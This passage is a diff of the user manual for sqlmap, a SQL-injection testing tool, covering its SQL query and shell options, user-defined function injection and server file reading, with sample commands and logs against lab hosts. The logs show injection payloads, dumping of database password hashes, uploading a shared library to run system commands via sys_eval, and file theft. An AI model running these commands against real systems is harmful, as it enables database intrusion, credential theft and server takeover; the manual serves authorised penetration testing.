   --exclude-sysdbs -v 0
 
 Database: master
@@ -3533,7 +3827,7 @@ Table: users
 +----+----------------------------------------------+-------------------+
 | id | name                                         | surname           |
 +----+----------------------------------------------+-------------------+
-| 4  | sqlmap/0.7 (http://sqlmap.sourceforge.net) | user agent header |
+| 4  | sqlmap/0.8 (http://sqlmap.sourceforge.net)   | user agent header |
 | 2  | fluffy                                       | bunny             |
 | 1  | luther                                       | blisset           |
 | 3  | wu                                           | ming              |
@@ -3550,65 +3844,63 @@ considered a system database because some database administrators use it
 as a users' database.
      
 
 
-
      Run your own SQL statement
      
+
      Execute custom SQL statement
      
 
-
      Options: --sql-query and --sql-shell
      
+
      Options: --sql-query and --sql-shell
      
 
-
      The SQL query and the SQL shell features makes the user able to run
-custom SQL statement on the web application's back-end database management.
-sqlmap automatically recognize the type of SQL statement provided and
-choose which SQL injection technique to use to execute it: if it is a
-SELECT statement it will retrieve its output through the blind SQL
-injection or UNION query SQL injection technique depending on the user's
-options, otherwise it will execute the query through the stacked query
-SQL injection technique if the web application supports multiple
-statements on the back-end database management system.
      
+
      The SQL query and the SQL shell features makes the user able to execute
+custom SQL statements on the web application's back-end database
+management.
+sqlmap automatically dissects the provided statement, determines which
+technique to use to inject it and how to pack the SQL payload accordingly.
      
+
      If it is a SELECT statement, sqlmap will retrieve its output
+through the blind SQL injection or UNION query SQL injection technique
+depending on the user's options. Otherwise it will execute the query
+through the stacked query SQL injection technique if the web application
+supports multiple statements on the back-end database management system.
      
 
 
      Examples on a Microsoft SQL Server 2000 Service Pack 0 target:
      
 
      
 
      
 
      -$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/get_int.php?id=1" --sql-query \
+$ python sqlmap.py -u "http://172.16.213.131/sqlmap/mssql/get_int.php?id=1" --sql-query \
   "SELECT 'foo'" -v 1
 
 [...]
 [hh:mm:14] [INFO] fetching SQL SELECT query output: 'SELECT 'foo''
-[hh:mm:14] [INFO] query: SELECT ISNULL(CAST((CHAR(102)+CHAR(111)+CHAR(111)) AS VARCHAR(8000)), 
-(CHAR(32)))
 [hh:mm:14] [INFO] retrieved: foo
-[hh:mm:14] [INFO] performed 27 queries in 0 seconds
 SELECT 'foo':    'foo'
 
-$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/get_int.php?id=1" --sql-query \
-  "SELECT 'foo', 'bar'" -v 1
+$ python sqlmap.py -u "http://172.16.213.131/sqlmap/mssql/get_int.php?id=1" --sql-query \
+  "SELECT 'foo', 'bar'" -v 2
 
 [...]
 [hh:mm:50] [INFO] fetching SQL SELECT query output: 'SELECT 'foo', 'bar''
 [hh:mm:50] [INFO] the SQL query provided has more than a field. sqlmap will now unpack it into 
 distinct queries to be able to retrieve the output even if we are going blind
-[hh:mm:50] [INFO] query: SELECT ISNULL(CAST((CHAR(102)+CHAR(111)+CHAR(111)) AS VARCHAR(8000)), 
+[hh:mm:50] [DEBUG] query: SELECT ISNULL(CAST((CHAR(102)+CHAR(111)+CHAR(111)) AS VARCHAR(8000)), 
 (CHAR(32)))
 [hh:mm:50] [INFO] retrieved: foo
-[hh:mm:50] [INFO] performed 27 queries in 0 seconds
-[hh:mm:50] [INFO] query: SELECT ISNULL(CAST((CHAR(98)+CHAR(97)+CHAR(114)) AS VARCHAR(8000)), 
+[hh:mm:50] [DEBUG] performed 27 queries in 0 seconds
+[hh:mm:50] [DEBUG] query: SELECT ISNULL(CAST((CHAR(98)+CHAR(97)+CHAR(114)) AS VARCHAR(8000)), 
 (CHAR(32)))
 [hh:mm:50] [INFO] retrieved: bar
-[hh:mm:50] [INFO] performed 27 queries in 0 seconds
+[hh:mm:50] [DEBUG] performed 27 queries in 0 seconds
 SELECT 'foo', 'bar':    'foo, bar'
 
      
 
      
 
      
 
-
      As you can see from this last example, sqlmap splits the query in two
-different SELECT statement to be able to retrieve the output even
-when using the blind SQL injection technique.
-Otherwise in UNION query SQL injection technique it only performs a single
+
      As you can see from the last example, sqlmap splits provided query into two
+different SELECT statements for it to be able to retrieve the 
+output even in case when using the blind SQL injection technique.
+Otherwise, in UNION query SQL injection technique it only performs a single
 HTTP request to get the user's query output:
      
 
      
 
      
 
      -$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/get_int.php?id=1" --sql-query \
-  "SELECT 'foo', 'bar'" -v 1 --union-use
+$ python sqlmap.py -u "http://172.16.213.131/sqlmap/mssql/get_int.php?id=1" --sql-query \
+  "SELECT 'foo', 'bar'" -v 2 --union-use
 
 [...]
 [hh:mm:03] [INFO] fetching SQL SELECT query output: 'SELECT 'foo', 'bar''
@@ -3618,12 +3910,12 @@ technique
 [hh:mm:03] [INFO] confirming full inband sql injection on parameter 'id'
 [hh:mm:03] [INFO] the target url is affected by an exploitable full inband sql injection
 vulnerability
-[hh:mm:03] [INFO] query:  UNION ALL SELECT NULL, (CHAR(77)+CHAR(68)+CHAR(75)+CHAR(104)+
+[hh:mm:03] [DEBUG] query:  UNION ALL SELECT NULL, (CHAR(77)+CHAR(68)+CHAR(75)+CHAR(104)+
 CHAR(70)+CHAR(67))+ISNULL(CAST((CHAR(102)+CHAR(111)+CHAR(111)) AS VARCHAR(8000)), (CHAR(32)))
 +(CHAR(105)+CHAR(65)+CHAR(119)+CHAR(105)+CHAR(108)+CHAR(108))+ISNULL(CAST((CHAR(98)+CHAR(97)+
 CHAR(114)) AS VARCHAR(8000)), (CHAR(32)))+(CHAR(66)+CHAR(78)+CHAR(104)+CHAR(75)+CHAR(114)+
 CHAR(116)), NULL-- AND 8373=8373
-[hh:mm:03] [INFO] performed 3 queries in 0 seconds
+[hh:mm:03] [DEBUG] performed 3 queries in 0 seconds
 SELECT 'foo', 'bar' [1]:
 [*] foo, bar
 
      
@@ -3631,17 +3923,17 @@ SELECT 'foo', 'bar' [1]:
 
      
 
 
      If your SELECT statement contains a FROM clause, sqlmap
-asks the user if such statement can return multiple entries and in such
+asks the user if such statement can return multiple entries. In that
 case the tool knows how to unpack the query correctly to retrieve its
-whole output entry per entry when going through blind SQL injection
-technique. Through UNION query SQL injection it retrieved the whole output
-in a single response.
      
+whole output, entry per entry, when going through blind SQL injection
+technique. In provided example, UNION query SQL injection it retrieved 
+the whole output in a single response.
      
 
 
      Example on a PostgreSQL 8.3.5 target:
      
 
      
 
      
 
      -$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1" --sql-query \
+$ python sqlmap.py -u "http://172.16.213.131/sqlmap/pgsql/get_int.php?id=1" --sql-query \
   "SELECT usename FROM pg_user" -v 0
 
 [hh:mm:32] [INPUT] can the SQL query provided return multiple entries? [Y/n] y
@@ -3658,20 +3950,20 @@ SELECT usename FROM pg_user [2]:
 
      
 
      
 
-
      As you can see from the last example, sqlmap counted the number of entries
-for your query and asks how many entries you want to dump.
-Otherwise if you specify also the LIMIT, or similar, clause
-sqlmap will not ask anything, it just unpacks the query and return its
-output entry per entry when going through blind SQL injection technique.
-Through UNION query SQL injection it retrieved the whole output in a
-single response.
      
+
      As you can see from the last example, sqlmap counts the number of entries
+for a given query and asks for number of entries to dump.
+Otherwise, if the LIMIT is also specified, or similar clause,
+sqlmap will not ask for anything. It will just unpack the query and return its
+output, entry per entry, when going through blind SQL injection technique.
+In a given example, sqlmap used UNION query SQL injection to retrieve the 
+whole output in a single response.
      
 
 
      Example on a MySQL 5.0.67 target:
      
 
      
 
      
 
      -$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1" --sql-query \
-  "SELECT host, password FROM mysql.user LIMIT 1, 3" -v 1
+$ python sqlmap.py -u "http://172.16.213.131/sqlmap/mysql/get_int.php?id=1" --sql-query \
+  "SELECT host, password FROM mysql.user LIMIT 1, 3" -v 2
 
 [...]
 back-end DBMS:  MySQL >= 5.0.0
@@ -3680,30 +3972,30 @@ back-end DBMS:  MySQL >= 5.0.0
 mysql.user LIMIT 1, 3'
 [hh:mm:22] [INFO] the SQL query provided has more than a field. sqlmap will now unpack it 
 into distinct queries to be able to retrieve the output even if we are going blind
-[hh:mm:22] [INFO] query: SELECT IFNULL(CAST(host AS CHAR(10000)), CHAR(32)) FROM 
+[hh:mm:22] [DEBUG] query: SELECT IFNULL(CAST(host AS CHAR(10000)), CHAR(32)) FROM 
 mysql.user LIMIT 1, 1
 [hh:mm:22] [INFO] retrieved: localhost
-[hh:mm:22] [INFO] performed 69 queries in 0 seconds
-[hh:mm:22] [INFO] query: SELECT IFNULL(CAST(password AS CHAR(10000)), CHAR(32)) FROM 
+[hh:mm:22] [DEBUG] performed 69 queries in 0 seconds
+[hh:mm:22] [DEBUG] query: SELECT IFNULL(CAST(password AS CHAR(10000)), CHAR(32)) FROM 
 mysql.user LIMIT 1, 1
 [hh:mm:22] [INFO] retrieved: *00E247AC5F9AF26AE0194B41E1E769DEE1429A29
-[hh:mm:24] [INFO] performed 293 queries in 2 seconds
-[hh:mm:24] [INFO] query: SELECT IFNULL(CAST(host AS CHAR(10000)), CHAR(32)) FROM 
+[hh:mm:24] [DEBUG] performed 293 queries in 2 seconds
+[hh:mm:24] [DEBUG] query: SELECT IFNULL(CAST(host AS CHAR(10000)), CHAR(32)) FROM 
 mysql.user LIMIT 2, 1
 [hh:mm:24] [INFO] retrieved: localhost
-[hh:mm:25] [INFO] performed 69 queries in 0 seconds
-[hh:mm:25] [INFO] query: SELECT IFNULL(CAST(password AS CHAR(10000)), CHAR(32)) FROM 
+[hh:mm:25] [DEBUG] performed 69 queries in 0 seconds
+[hh:mm:25] [DEBUG] query: SELECT IFNULL(CAST(password AS CHAR(10000)), CHAR(32)) FROM 
 mysql.user LIMIT 2, 1
 [hh:mm:25] [INFO] retrieved: *00E247AC5F9AF26AE0194B41E1E769DEE1429A29
-[hh:mm:27] [INFO] performed 293 queries in 2 seconds
-[hh:mm:27] [INFO] query: SELECT IFNULL(CAST(host AS CHAR(10000)), CHAR(32)) FROM 
+[hh:mm:27] [DEBUG] performed 293 queries in 2 seconds
+[hh:mm:27] [DEBUG] query: SELECT IFNULL(CAST(host AS CHAR(10000)), CHAR(32)) FROM 
 mysql.user LIMIT 3, 1
 [hh:mm:27] [INFO] retrieved: localhost
-[hh:mm:28] [INFO] performed 69 queries in 0 seconds
-[hh:mm:28] [INFO] query: SELECT IFNULL(CAST(password AS CHAR(10000)), CHAR(32)) 
+[hh:mm:28] [DEBUG] performed 69 queries in 0 seconds
+[hh:mm:28] [DEBUG] query: SELECT IFNULL(CAST(password AS CHAR(10000)), CHAR(32)) 
 FROM mysql.user LIMIT 3, 1
 [hh:mm:28] [INFO] retrieved: 
-[hh:mm:28] [INFO] performed 6 queries in 0 seconds
+[hh:mm:28] [DEBUG] performed 6 queries in 0 seconds
 SELECT host, password FROM mysql.user LIMIT 1, 3 [3]:
 [*] localhost, *00E247AC5F9AF26AE0194B41E1E769DEE1429A29
 [*] localhost, *00E247AC5F9AF26AE0194B41E1E769DEE1429A29
@@ -3712,16 +4004,16 @@ SELECT host, password FROM mysql.user LIMIT 1, 3 [3]:
 
      
 
      
 
-
      The SQL shell option gives you access to run your own SQL statement
-interactively, like a SQL console logged to the back-end database
+
      The SQL shell option gives you an access to run your own SQL statement
+interactively, like a SQL console connected to the back-end database
 management system.
-This feature has TAB completion and history support.
      
+Note that this feature provides TAB completion and history support.
      
 
 
      Example of history support on a PostgreSQL 8.3.5 target:
      
 
      
 
      
 
      -$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1" --sql-shell -v 0
+$ python sqlmap.py -u "http://172.16.213.131/sqlmap/pgsql/get_int.php?id=1" --sql-shell -v 0
 
 sql> SELECT 'foo'
 SELECT 'foo':    'foo'
@@ -3733,7 +4025,7 @@ SELECT version():    'PostgreSQL 8.3.5 on i486-pc-linux-gnu, compiled by GCC gcc
 
 sql> exit
 
-$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1" --sql-shell -v 0
+$ python sqlmap.py -u "http://172.16.213.131/sqlmap/pgsql/get_int.php?id=1" --sql-shell -v 0
 
 sql> [UP arrow key shows 'exit', then DOWN arrow key clean the shell]
 sql> SELECT usename, passwd FROM pg_shadow ORDER BY usename
@@ -3755,7 +4047,7 @@ SELECT usename, passwd FROM pg_shadow ORDER BY usename [3]:
 
      
 
      
 
      -$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1" --sql-shell -v 0
+$ python sqlmap.py -u "http://172.16.213.131/sqlmap/mysql/get_int.php?id=1" --sql-shell -v 0
 
 sql> [TAB TAB]
  LIMIT 
@@ -3791,14 +4083,14 @@ sql> SELECT
 
 
      As you can see the TAB functionality shows the queries defined for the
 back-end database management system in sqlmap XML queries file, but you
-can run whatever SELECT statement that you want.
      
+can run whatever SELECT statement you want.
      
 
 
      Example of asterisk expansion on a MySQL 5.0.67 target:
      
 
      
 
      
 
      -$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1" --sql-shell \
-  -v 1
+$ python sqlmap.py -u "http://172.16.213.131/sqlmap/mysql/get_int.php?id=1" --sql-shell \
+  -v 2
 
 [...]
 [hh:mm:40] [INFO] calling MySQL shell. To quit type 'x' or 'q' and press ENTER
@@ -3808,32 +4100,32 @@ sql> SELECT * FROM test.users
 column names itself.
 [hh:mm:48] [INFO] fetching columns for table 'users' on database 'test'
 [hh:mm:48] [INFO] fetching number of columns for table 'users' on database 'test'
-[hh:mm:48] [INFO] query: SELECT IFNULL(CAST(COUNT(column_name) AS CHAR(10000)), CHAR(32)) 
+[hh:mm:48] [DEBUG] query: SELECT IFNULL(CAST(COUNT(column_name) AS CHAR(10000)), CHAR(32)) 
 FROM information_schema.COLUMNS WHERE table_name=CHAR(117,115,101,114,115) AND 
 table_schema=CHAR(116,101,115,116)
 [hh:mm:48] [INFO] retrieved: 3
-[hh:mm:48] [INFO] performed 13 queries in 0 seconds
-[hh:mm:48] [INFO] query: SELECT IFNULL(CAST(column_name AS CHAR(10000)), CHAR(32)) FROM 
+[hh:mm:48] [DEBUG] performed 13 queries in 0 seconds
+[hh:mm:48] [DEBUG] query: SELECT IFNULL(CAST(column_name AS CHAR(10000)), CHAR(32)) FROM 
 information_schema.COLUMNS WHERE table_name=CHAR(117,115,101,114,115) AND 
 table_schema=CHAR(116,101,115,116) LIMIT 0, 1
 [hh:mm:48] [INFO] retrieved: id
-[hh:mm:48] [INFO] performed 20 queries in 0 seconds
-[hh:mm:48] [INFO] query: SELECT IFNULL(CAST(column_name AS CHAR(10000)), CHAR(32)) FROM 
+[hh:mm:48] [DEBUG] performed 20 queries in 0 seconds
+[hh:mm:48] [DEBUG] query: SELECT IFNULL(CAST(column_name AS CHAR(10000)), CHAR(32)) FROM 
 information_schema.COLUMNS WHERE table_name=CHAR(117,115,101,114,115) AND 
 table_schema=CHAR(116,101,115,116) LIMIT 1, 1
 [hh:mm:48] [INFO] retrieved: name
-[hh:mm:48] [INFO] performed 34 queries in 0 seconds
-[hh:mm:48] [INFO] query: SELECT IFNULL(CAST(column_name AS CHAR(10000)), CHAR(32)) FROM 
+[hh:mm:48] [DEBUG] performed 34 queries in 0 seconds
+[hh:mm:48] [DEBUG] query: SELECT IFNULL(CAST(column_name AS CHAR(10000)), CHAR(32)) FROM 
 information_schema.COLUMNS WHERE table_name=CHAR(117,115,101,114,115) AND 
 table_schema=CHAR(116,101,115,116) LIMIT 2, 1
 [hh:mm:48] [INFO] retrieved: surname
-[hh:mm:48] [INFO] performed 55 queries in 0 seconds
+[hh:mm:48] [DEBUG] performed 55 queries in 0 seconds
 [hh:mm:48] [INFO] the query with column names is: SELECT id, name, surname FROM test.users
 [hh:mm:48] [INPUT] can the SQL query provided return multiple entries? [Y/n] y
-[hh:mm:04] [INFO] query: SELECT IFNULL(CAST(COUNT(id) AS CHAR(10000)), CHAR(32)) FROM 
+[hh:mm:04] [DEBUG] query: SELECT IFNULL(CAST(COUNT(id) AS CHAR(10000)), CHAR(32)) FROM 
 test.users
 [hh:mm:04] [INFO] retrieved: 5
-[hh:mm:04] [INFO] performed 13 queries in 0 seconds
+[hh:mm:04] [DEBUG] performed 13 queries in 0 seconds
 [hh:mm:04] [INPUT] the SQL query that you provide can return up to 5 entries. How many 
 entries 
 do you want to retrieve?
@@ -3842,42 +4134,42 @@ do you want to retrieve?
 [q] Quit
 Choice: 3
 [hh:mm:09] [INFO] sqlmap is now going to retrieve the first 3 query output entries
-[hh:mm:09] [INFO] query: SELECT IFNULL(CAST(id AS CHAR(10000)), CHAR(32)) FROM test.users 
+[hh:mm:09] [DEBUG] query: SELECT IFNULL(CAST(id AS CHAR(10000)), CHAR(32)) FROM test.users 
 ORDER BY id ASC LIMIT 0, 1
 [hh:mm:09] [INFO] retrieved: 1
-[hh:mm:09] [INFO] performed 13 queries in 0 seconds
-[hh:mm:09] [INFO] query: SELECT IFNULL(CAST(name AS CHAR(10000)), CHAR(32)) FROM test.users 
+[hh:mm:09] [DEBUG] performed 13 queries in 0 seconds
+[hh:mm:09] [DEBUG] query: SELECT IFNULL(CAST(name AS CHAR(10000)), CHAR(32)) FROM test.users 
 ORDER BY id ASC LIMIT 0, 1
 [hh:mm:09] [INFO] retrieved: luther
-[hh:mm:09] [INFO] performed 48 queries in 0 seconds
-[hh:mm:09] [INFO] query: SELECT IFNULL(CAST(surname AS CHAR(10000)), CHAR(32)) FROM 
+[hh:mm:09] [DEBUG] performed 48 queries in 0 seconds
+[hh:mm:09] [DEBUG] query: SELECT IFNULL(CAST(surname AS CHAR(10000)), CHAR(32)) FROM 
 test.users ORDER BY id ASC LIMIT 0, 1
 [hh:mm:09] [INFO] retrieved: blissett
-[hh:mm:09] [INFO] performed 62 queries in 0 seconds
-[hh:mm:09] [INFO] query: SELECT IFNULL(CAST(id AS CHAR(10000)), CHAR(32)) FROM test.users 
+[hh:mm:09] [DEBUG] performed 62 queries in 0 seconds
+[hh:mm:09] [DEBUG] query: SELECT IFNULL(CAST(id AS CHAR(10000)), CHAR(32)) FROM test.users 
 ORDER BY id ASC LIMIT 1, 1
 [hh:mm:09] [INFO] retrieved: 2
-[hh:mm:09] [INFO] performed 13 queries in 0 seconds
-[hh:mm:09] [INFO] query: SELECT IFNULL(CAST(name AS CHAR(10000)), CHAR(32)) FROM test.users 
+[hh:mm:09] [DEBUG] performed 13 queries in 0 seconds
+[hh:mm:09] [DEBUG] query: SELECT IFNULL(CAST(name AS CHAR(10000)), CHAR(32)) FROM test.users 
 ORDER BY id ASC LIMIT 1, 1
 [hh:mm:09] [INFO] retrieved: fluffy
-[hh:mm:09] [INFO] performed 48 queries in 0 seconds
-[hh:mm:09] [INFO] query: SELECT IFNULL(CAST(surname AS CHAR(10000)), CHAR(32)) FROM 
+[hh:mm:09] [DEBUG] performed 48 queries in 0 seconds
+[hh:mm:09] [DEBUG] query: SELECT IFNULL(CAST(surname AS CHAR(10000)), CHAR(32)) FROM 
 test.users ORDER BY id ASC LIMIT 1, 1
 [hh:mm:09] [INFO] retrieved: bunny
-[hh:mm:09] [INFO] performed 41 queries in 0 seconds
-[hh:mm:09] [INFO] query: SELECT IFNULL(CAST(id AS CHAR(10000)), CHAR(32)) FROM test.users 
+[hh:mm:09] [DEBUG] performed 41 queries in 0 seconds
+[hh:mm:09] [DEBUG] query: SELECT IFNULL(CAST(id AS CHAR(10000)), CHAR(32)) FROM test.users 
 ORDER BY id ASC LIMIT 2, 1
 [hh:mm:09] [INFO] retrieved: 3
-[hh:mm:09] [INFO] performed 13 queries in 0 seconds
-[hh:mm:09] [INFO] query: SELECT IFNULL(CAST(name AS CHAR(10000)), CHAR(32)) FROM test.users 
+[hh:mm:09] [DEBUG] performed 13 queries in 0 seconds
+[hh:mm:09] [DEBUG] query: SELECT IFNULL(CAST(name AS CHAR(10000)), CHAR(32)) FROM test.users 
 ORDER BY id ASC LIMIT 2, 1
 [hh:mm:09] [INFO] retrieved: wu
-[hh:mm:09] [INFO] performed 20 queries in 0 seconds
-[hh:mm:09] [INFO] query: SELECT IFNULL(CAST(surname AS CHAR(10000)), CHAR(32)) FROM 
+[hh:mm:09] [DEBUG] performed 20 queries in 0 seconds
+[hh:mm:09] [DEBUG] query: SELECT IFNULL(CAST(surname AS CHAR(10000)), CHAR(32)) FROM 
 test.users ORDER BY id ASC LIMIT 2, 1
 [hh:mm:09] [INFO] retrieved: ming
-[hh:mm:10] [INFO] performed 34 queries in 0 seconds
+[hh:mm:10] [DEBUG] performed 34 queries in 0 seconds
 SELECT * FROM test.users [3]:
 [*] 1, luther, blissett
 [*] 2, fluffy, bunny
@@ -3886,9 +4178,9 @@ SELECT * FROM test.users [3]:
 
      
 
      
 
-
      As you can see in this last example, if the SELECT statement has
-an asterisk instead of the column(s) name, sqlmap first retrieves the
-column names of the table then asks if the query can return multiple
+
      As you can see from the example, if the SELECT statement has
+an asterisk instead of the column(s) name, sqlmap first retrieves all
+column names of the current table, asks if the query can return multiple
 entries and goes on.
      
 
 
      Example of SQL statement other than SELECT on a PostgreSQL
@@ -3896,73 +4188,119 @@ entries and goes on.
      
 
      
 
      
 
      -$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1" --sql-shell -v 1
+$ python sqlmap.py -u "http://172.16.213.131/sqlmap/pgsql/get_int.php?id=1" --sql-shell -v 1
 
 [...]
 back-end DBMS: PostgreSQL
 
 [10:hh:mm] [INFO] calling PostgreSQL shell. To quit type 'x' or 'q' and press ENTER
 sql> SELECT COUNT(name) FROM users
-[10:11:57] [INFO] fetching SQL SELECT statement query output: 'SELECT COUNT(name) FROM users'
-[10:11:57] [INPUT] can the SQL query provided return multiple entries? [Y/n] n
-[10:11:59] [INFO] query: SELECT COALESCE(CAST(COUNT(name) AS CHARACTER(10000)), CHR(32)) 
-FROM users
-[10:11:59] [INFO] retrieved: 4
-[10:11:59] [INFO] performed 13 queries in 0 seconds
+[hh:mm:57] [INFO] fetching SQL SELECT statement query output: 'SELECT COUNT(name) FROM users'
+[hh:mm:57] [INPUT] can the SQL query provided return multiple entries? [Y/n] n
+[hh:mm:59] [INFO] retrieved: 4
 SELECT COUNT(name) FROM users:    '4'
 
 sql> INSERT INTO users (id, name, surname) VALUES (5, 'from', 'sql shell');
-[10:12:35] [INFO] testing stacked queries support on parameter 'id'
-[10:12:40] [INFO] the web application supports stacked queries on parameter 'id'
-[10:12:40] [INFO] executing SQL data manipulation query: 'INSERT INTO users 
+[hh:mm:35] [INFO] testing stacked queries support on parameter 'id'
+[hh:mm:40] [INFO] the web application supports stacked queries on parameter 'id'
+[hh:mm:40] [INFO] executing SQL data manipulation query: 'INSERT INTO users 
 (id, name, surname) VALUES (5, 'from', 'sql shell');'
-[10:12:40] [INFO] done
+[hh:mm:40] [INFO] done
 sql> SELECT COUNT(name) FROM users
-[10:12:51] [INFO] fetching SQL SELECT statement query output: 'SELECT COUNT(name) FROM users'
-[10:12:51] [INPUT] can the SQL query provided return multiple entries? [Y/n] n
-[10:12:53] [INFO] query: SELECT COALESCE(CAST(COUNT(name) AS CHARACTER(10000)), CHR(32)) 
-FROM users
-[10:12:53] [INFO] retrieved: 5
-[10:12:54] [INFO] performed 20 queries in 0 seconds
+[hh:mm:51] [INFO] fetching SQL SELECT statement query output: 'SELECT COUNT(name) FROM users'
+[hh:mm:51] [INPUT] can the SQL query provided return multiple entries? [Y/n] n
+[hh:mm:53] [INFO] retrieved: 5
 SELECT COUNT(name) FROM users:    '5'
 
      
 
      
 
      
 
-
      As you can see from this last example, when the user provides a SQL
-statement other than SELECT, sqlmap recognizes it, tests if the
-web application supports stacked queries and in case it does, it executes
-the provided SQL statement in a multiple statement.
      
+
      As you can see from the example, when the user provides a SQL statement 
+other than SELECT, sqlmap recognizes it, tests if the web 
+application supports stacked queries and in case it does, it executes
+the provided SQL statement in a multiple statement mode.
      
 
 
      Beware that some web application technologies do not support stacked
-queries on specific database management systems. For instance, PHP does not
-support stacked queries when the back-end DBMS is MySQL, but it does
+queries on specific database management systems. For instance, PHP does
+not support stacked queries when the back-end DBMS is MySQL, but it does
 support when the back-end DBMS is PostgreSQL.
      
 
 
-
      5.8 File system access
+
      5.8 User-defined function injection
 
      
 
-
      Read a file from the back-end DBMS file system
      
+
      Inject custom user-defined functions (UDF)
      
 
-
      Option: --read-file
      
+
      Options: --udf-inject and --shared-lib
      
+
+
      You can inject your own user-defined functions (UDFs) by compiling a
+MySQL or PostgreSQL shared library, DLL for Windows and shared object for
+Linux/Unix, then provide sqlmap with the path where the shared library
+is stored locally on your machine. sqlmap will then ask you some
+questions, upload the shared library on the database server file system,
+create the user-defined function(s) from it and, depending on your
+options, execute them. When you are finished using the injected UDFs,
+sqlmap can also remove them from the database for you.
      
+
+
      Example on a PostgreSQL 8.4:
      
+
      
+
      
+
      +$ python sqlmap.py -u http://172.16.213.131/sqlmap/pgsql/get_int8.4.php?id=1 --udf-inject -v 0
+
+[...]
+web application technology: PHP 5.2.6, Apache 2.2.9
+back-end DBMS: PostgreSQL
+
+which is the local path of the shared library? udf/postgresql/linux/8.4/lib_postgresqludf_sys.so
+how many user-defined functions do you want to create from the shared library? 1
+what is the name of the UDF number 1? sys_eval
+how many input parameters takes UDF 'sys_eval'? (default: 1) 
+what is the data-type of input parameter number 1? (default: text) 
+what is the data-type of the return value? (default: text) 
+do you want to call your injected user-defined functions now? [Y/n/q] y
+which UDF do you want to call?
+[1] sys_eval
+[q] Quit
+> 1
+what is the value of the parameter number 1 (data-type: text)? echo test
+do you want to retrieve the return value of the UDF? [Y/n] 
+return value:    'test'
+
+do you want to call this or another injected UDF? [Y/n] n
+do you want to remove UDF 'sys_eval'? [Y/n] 
+[12:00:10] [WARNING] remember that UDF shared object files saved on the file system can only 
+be deleted manually
+
      
+
      
+
      
+
+
      If you want, you can specify the shared library local file system path
+via command line using --shared-lib option.
      
+
+
      5.9 File system access
+
      
+
+
      Read a file from the database server's file system
      
+
+
      Option: --read-file
      
 
 
      It is possible to retrieve the content of files from the underlying file
 system when the back-end database management system is either MySQL,
-PostgreSQL or Microsoft SQL Server and the session user has the needed
+PostgreSQL or Microsoft SQL Server, and the session user has the needed
 privileges to abuse database specific functionalities and architectural
 weaknesses.
-The file specified can be either a text or a binary file, sqlmap will
-handle either cases automatically.
      
+The file specified can be either a text or a binary file. sqlmap will
+handle it automatically.
      
 
-
      These techniques are detailed on the white paper
+
      These techniques are detailed in the white paper
 Advanced SQL injection to operating system full control.
      
 
 
      Example on a PostgreSQL 8.3.5 target to retrieve a text file:
      
 
      
 
      
 
      -$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.aspx?id=1" \
+$ python sqlmap.py -u "http://172.16.213.131/sqlmap/pgsql/get_int.aspx?id=1" \
   --read-file "C:\example.txt" -v 2
 
 [...]
@@ -4011,11 +4349,11 @@ sqlmapfile
 [hh:mm:22] [DEBUG] cleaning up the database management system
 [hh:mm:22] [DEBUG] removing support tables
 [hh:mm:22] [DEBUG] query: DROP TABLE sqlmapfile
-C:/example.txt file saved to:    '/home/inquis/sqlmap/output/192.168.1.121/files/C__example.txt'
+C:/example.txt file saved to:    '/home/inquis/sqlmap/output/172.16.213.131/files/C__example.txt'
 
-[hh:mm:22] [INFO] Fetched data logged to text files under '/home/inquis/sqlmap/output/192.168.1.121'
+[hh:mm:22] [INFO] Fetched data logged to text files under '/home/inquis/sqlmap/output/172.16.213.131'
 
-$ cat output/192.168.1.121/files/C__example.txt 
+$ cat output/172.16.213.131/files/C__example.txt 
 This is a text file
 
      
 
      
@@ -4026,7 +4364,7 @@ retrieve a binary file:
      
 
      
 
      
 
      -$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/iis/get_str2.asp?name=luther" \
+$ python sqlmap.py -u "http://172.16.213.131/sqlmap/mssql/iis/get_str2.asp?name=luther" \
   --read-file "C:\example.exe" --union-use -v 1
 
 [...]
@@ -4044,41 +4382,41 @@ injection vulnerability
 'name' by appending a false condition after the parameter value
 [hh:mm:49] [INFO] the target url is affected by an exploitable partial (single entry) 
 inband sql injection vulnerability
-valid union:    'http://192.168.1.121:80/sqlmap/mssql/iis/get_str2.asp?name=luther' UNION 
+valid union:    'http://172.16.213.131/sqlmap/mssql/iis/get_str2.asp?name=luther' UNION 
 ALL SELECT NULL, NULL, NULL-- AND 'sjOfJ'='sjOfJ'
 
 [hh:mm:49] [INFO] testing stacked queries support on parameter 'name'
 [hh:mm:54] [INFO] the web application supports stacked queries on parameter 'name'
 [hh:mm:54] [INFO] fetching file: 'C:/example.exe'
 [hh:mm:54] [INFO] the SQL query provided returns 3 entries
-C:/example.exe file saved to:    '/home/inquis/sqlmap/output/192.168.1.121/files/
+C:/example.exe file saved to:    '/home/inquis/sqlmap/output/172.16.213.131/files/
 C__example.exe'
 
 [hh:mm:54] [INFO] Fetched data logged to text files under '/home/inquis/sqlmap/output/
-192.168.1.121'
+172.16.213.131'
 
-$ ls -l output/192.168.1.121/files/C__example.exe 
--rw-r--r-- 1 inquis inquis 2560 2009-MM-DD hh:mm output/192.168.1.121/files/C__example.exe
+$ ls -l output/172.16.213.131/files/C__example.exe 
+-rw-r--r-- 1 inquis inquis 2560 2009-MM-DD hh:mm output/172.16.213.131/files/C__example.exe
 
-$ file output/192.168.1.121/files/C__example.exe 
-output/192.168.1.121/files/C__example.exe: PE32 executable for MS Windows (GUI) Intel 80386 32-bit
+$ file output/172.16.213.131/files/C__example.exe 
+output/172.16.213.131/files/C__example.exe: PE32 executable for MS Windows (GUI) Intel 80386 32-bit
 
      
 
      
 
      
 
 
-
      Write a local file on the back-end DBMS file system
      
+
      Write a local file on the database server's file system
      
 
-
      Options: --write-file and --dest-file
      
+
      Options: --write-file and --dest-file
      
 
-
